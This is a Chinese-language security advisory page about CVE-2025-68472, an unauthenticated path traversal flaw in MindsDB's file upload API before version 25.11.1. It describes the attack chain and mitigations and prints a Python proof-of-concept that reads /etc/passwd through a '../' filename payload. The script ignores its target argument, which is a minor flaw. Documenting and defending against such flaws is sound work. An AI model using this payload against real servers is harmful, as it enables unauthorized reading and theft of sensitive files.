IPBUF安全漏洞报告
English
CVE-2025-68472 CVSS 8.1 高危

CVE-2025-68472 MindsDB 未授权路径遍历漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2025-68472
漏洞类型
路径遍历
CVSS评分
8.1 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MindsDB

相关标签

路径遍历未授权访问文件读取MindsDBCVE-2025-68472高危漏洞企业数据平台AI平台

漏洞概述

CVE-2025-68472是MindsDB平台中的一个严重安全漏洞,存在于25.11.1版本之前。该漏洞允许未经认证的攻击者通过文件上传API执行路径遍历攻击,从而读取服务器上的任意文件并将其移动到MindsDB的存储中。这可能导致敏感数据泄露,包括配置文件、密钥、凭据和其他系统文件。攻击者无需任何用户交互或认证即可利用此漏洞,只需要能够向目标服务器发送HTTP请求即可。由于该漏洞影响构建AI应用的企业数据平台,泄露的数据可能包含重要的商业机密和用户隐私信息,具有较高的安全风险。

技术细节

该漏洞位于MindsDB的file.py文件中的PUT请求处理器。当请求体为JSON格式且source_type参数不为'url'时,代码直接将用户控制的文件名数据拼接到文件系统路径,而没有进行任何安全检查。正常情况下,multipart上传和URL来源的上传会调用clear_filename函数进行文件名清理和安全校验,但JSON格式的上传请求缺少这一关键的安全验证步骤。攻击者可以通过构造特殊的文件路径(如使用../进行目录遍历)来访问服务器上的任意文件。例如,攻击者可以构造类似../../../etc/passwd的文件名来读取系统密码文件,或者访问其他敏感配置文件。成功利用此漏洞后,攻击者不仅能读取文件内容,还能将文件移动到MindsDB的存储目录中,便于后续访问和提取。修复版本25.11.1添加了对JSON上传请求的文件名验证机制。

攻击链分析

STEP 1
步骤1
攻击者识别运行MindsDB且版本低于25.11.1的目标服务器,发现存在文件上传API端点(PUT /api/file/upload)
STEP 2
步骤2
攻击者构造恶意的JSON请求负载,将source_type设置为非'url'值(如'files'),并将original_filename设置为路径遍历payload(如../../../etc/passwd)
STEP 3
步骤3
攻击者发送PUT请求到/api/file/upload端点,由于JSON上传路径缺少clear_filename验证,用户控制的文件名被直接拼接到文件系统路径
STEP 4
步骤4
服务器执行文件读取操作,攻击者通过路径遍历成功读取服务器上的敏感文件(如/etc/passwd、配置文件、密钥文件等)
STEP 5
步骤5
被读取的文件被移动到MindsDB的存储目录中,攻击者可以通过后续的API请求访问这些文件,完成数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-68472 PoC - MindsDB Path Traversal File Read # Target: MindsDB server < 25.11.1 TARGET_URL = "http://target:47334/api/file/upload" def exploit_path_traversal(target_ip): """ Exploit the unauthenticated path traversal vulnerability in MindsDB file upload API to read arbitrary files. """ headers = { "Content-Type": "application/json" } # Payload to read /etc/passwd via path traversal # The vulnerable code joins user-controlled filename to filesystem path payload = { "source_type": "files", # Not 'url', triggers vulnerable code path "name": "test", "original_filename": "../../../etc/passwd" # Path traversal payload } try: response = requests.put( TARGET_URL, headers=headers, json=payload, timeout=10 ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") # Check if file was successfully moved to MindsDB storage if response.status_code == 200: data = response.json() print(f"[+] File moved to storage: {data}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": import sys target = sys.argv[1] if len(sys.argv) > 1 else "localhost" exploit_path_traversal(target)

影响范围

MindsDB < 25.11.1

防御指南

临时缓解措施
在官方补丁发布之前,可以通过网络层访问控制限制对文件上传API的访问,仅允许受信任的IP地址访问。或者在反向代理层添加规则,检测并阻止包含路径遍历字符(如../)的请求参数。同时建议监控MindsDB服务器的访问日志,关注异常的API调用模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表